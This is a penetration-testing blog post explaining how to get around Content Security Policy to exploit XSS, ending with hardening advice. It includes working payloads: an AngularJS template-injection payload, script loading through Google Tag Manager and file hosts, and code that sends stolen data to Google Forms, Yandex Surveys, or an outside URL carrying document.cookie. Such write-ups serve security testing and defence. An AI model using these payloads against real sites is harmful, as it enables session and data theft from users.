In Russian: https://blog.deteact.com/ru/csp-bypass/
Content Security Policy (CSP) is an additional security mechanism built into browsers to prevent Cross Site Scripting (XSS).
CSP allows to define whitelists of sources for JavaScript, CSS, images, frames, XHR connections. Also, CSP can limit inline script execution, loading a current page in a frame, etc.
Let’s take a look at different CSP configurations and their weaknesses.
In some cases, the CSP allows the execution of inline scripts (the unsafe-inline directive), and the Content-Security-Policy header is not returned on all pages (it’s set by the backend or via the meta tag, rather than the webserver). In this case you can open a page for which no policy has been set and overwrite its contents (see https://xakep.ru/2018/10/01/xss-csp-bypass/). In this case, if the frame-src directive restricts the creation of frames, you will have to create a window through window.open.
We’ll consider XSS exploitation scenarios when the above conditions are not met, and thus the method does not work.
Exploitation comes down to two steps: first, you need to learn how to execute arbitrary code, and then – to obtain the necessary data from the page in the victim’s browser.
Code Execution
We’ll consider bypasses depending on the presence of unsafe-inline and unsafe-eval directives.
Unsafe inline enabled
Example configuration:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' www.googletagmanager.com;
Inline execution
With inline execution enabled we can simply injection our code into the page.
Google Tag Manager
Sometimes you need to collect a lot of information by running a fairly large script. The whole code may not fit into a payload and in such a case, it must be dynamically loaded from some origin.
In our case you can look at the policy and see that the scripts from www.googletagmanager.com are allowed to run. In this Google’s service you can save a custom HTML, in which, fortunately, you can insert your JS-code. Please note that the ECMAScript6 specification is not supported by default.
You can insert your code by adding tags. For example, let’s try to add code with an alert and embed it on a site with a CSP policy configured.
To execute the code from the Tag Manager, you can insert the block:
1 2 3 4 5 6 |
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-*******'); </script> |
You can shorten the code different ways, such as:
1 2 |
<script>setTimeout(function(){dataLayer.push({event:'gtm.js'})},1000)</script> <script src="//www.googletagmanager.com/gtm.js?id=GTM-*******"></script> |
Only the id changes here, you can see it in your personal Tag Manager account.
The point is to include the gtm.js script and add the ‘gtm.js’ event to the queue, which will trigger the payload.
Unsafe eval enabled
Example configuration:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' ajax.googleapis.com;
CDN and CSTI
With unsafe-eval policy enabled we can perform a Client-Side Template Injection attack.
If a template library (such as Vue.JS, Angular, JQuery, etc.) is not connected to the page, we need to connect it. The host ajax.googleapis.com is good for this, which is often allowed in CSP to import some libraries needed for the site.
For example, let’s connect AngularJS of the old version (1.4.6) and execute arbitrary code through template implementation.
Final payload:
1 |
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"></script> <div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} </div> |
In this payload we create a div element with the ng-app attribute that activates AngularJS, and in the div we insert a template that exploits CSTI in AngularJS 1.4.6, the result is the execution of alert(1).
DOM-based XSS
In addition to CSTI, any other type of DOM-based XSS, in which the content of some HTML element falls into the eval() call, can help to execute arbitrary code if unsafe-eval is present.
Unsafe inline and eval disabled
Example configuration:
Content-Security-Policy: default-src 'self'; script-src 'self' *.googleusercontent.com *.google.com *.yandex.net;
File Hosting
Sometimes script-src might include domains like yandex.net with a lot of services, such as Yandex.Disk, You can upload the payload to the Yandex.Disk storage, copy the download link and replace the content_type parameter value in the link with application/javascript, so that the server will return the appropriate header and the browser will allow script execution:
1 |
<script src="https://[***].storage.yandex.net/[...]content_type=application/javascript&[***]"></script> |
Note that the link to the file is temporary, and after some time (about 4 hours) it stops working.
If script-src directive includes *.googleusercontent.com and *.google.com, the script can be imported from Google Drive in a similar way:
1 |
<script src=https://drive.google.com/uc?id=...&export=download></script> |
Both origins are required to be whitelisted due to the temporary Cookie Identifier, which is created before being redirected to *.googleusercontent.com.
File upload or JS/JSON/JSONP injections
It is worth checking the upload functionality of the application, perhaps it allows you to upload JS-files, then the script can be imported from the same domain.
JSONP hijacking or unexploitable injection of content into JavaScript or JSON and can also help. For example, if there is no function name validation in JSONP, you can replace the called function with arbitrary JS code.
Leaking Data
Suppose we’ve achieved arbitrary code execution on a page. Now the task is to extract the data and transfer it to the host we control.
Connections allowed
Example configuration:
Content-Security-Policy: default-src 'self'; connect-src: 'self' www.google-analytics.com *.google.com *.yandex.ru;
Analytics Systems
If the policy allows the Google Analytics host, we can send data there. Please note that the maximum amount of data accepted per request is 8KB.
The link to send the data looks like this:
https://www.google-analytics.com/collect?v=1&tid=***&cid=123&t=event&ec=email&el=321&cs=newsletter&cm=email&cn=&cm1=1&ea=data
After that, you will see in the events the data that you sent in the ea parameter:
Surveys, Chats, etc
If the site uses customer support chat systems, you can try to use them to send data.
If you have *.google or *.yandex.ru in connect-src, you can use services that are located on these subdomains, namely Google Forms and Yandex Surveys.
An example of sending data to Google Forms – https://docs.google.com/forms.
It’s pretty simple, just a single POST request:
1 2 3 4 5 6 7 |
function sendit(data) { var xhr = new XMLHttpRequest(); var params = params="entry.1359945223=" + data; xhr.open('post','https://docs.google.com/forms/d/e/***/formResponse', true); xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded'); xhr.send(params); } |
An example of sending data to Yandex Surveys – https://surveys.yandex.ru/.
For the Yandex Surveys you will need to generate a unique value for ivid, the sending function will look like this:
1 2 3 4 5 6 7 8 |
function sendit(data) { var http = new XMLHttpRequest(); ivid = Math.floor((10000000 + Math.random() * 99999999) % 100000000) + ''; var params = JSON.stringify({"answers":[{"text":data,"questionId":"1"}],"_ivid":ivid+"-ea97-5037-afc1-bf1f77335e4f","_seqnum":3}); http.open("POST", "https://www.yandex.ru/poll/api/v0/survey/***/finish", true); http.setRequestHeader("Content-Type","application/json"); http.send(params); } |
Connections not allowed
Example configuration:
Content-Security-Policy: default-src 'self'
Redirection
If you are not allowed to connect to any external host, you can send data directly in the URL (query string) by redirecting the user to your web server:
1 |
window.location='https://deteact.com/'+document.cookie; |
Sending Internally
If the application allows you to leave comments, write messages, you can use this functionality to transfer data within the application. It is sufficient to register an account that will receive the stolen information in a personal message or comment.
What should we do?
Okay, we’ve learned how to break CSP, but the more important question is how to secure the application.
Be restrictive
CSP has a “if not forbidden then it’s allowed” rule, and you should be more careful about the origins that the user’s browser will be allowed to access. Often it is easier for developers to allow extra domains than to know what specific host is needed for the frontend. Ideally, all necessary scripts should be placed on your hosts, and there should be nothing else allowed by the CSP.
You can visit https://csp-evaluator.withgoogle.com/ to check your CSP for some common weaknesses. This service will analyze the configuration and explain possible threats.
Use report-uri
Or report-to, which will force the browser to report CSP errors (including unsuccessful attempts to exploit XSS). This will help you to debug CSP properly and also quickly detect the attacks.
Disable unsafe-inline
Alternatively use nonce, and also do not allow unsafe-eval.
Watch for XSS!
The CSP mechanism is only a mitigation measure that makes XSS difficult to exploit but often does not make it impossible.
Perform regular pentests
To verify that your CSP is configured correctly and your application is not vulnerable to XSS and other attacks, please contact us for a web application penetration testing.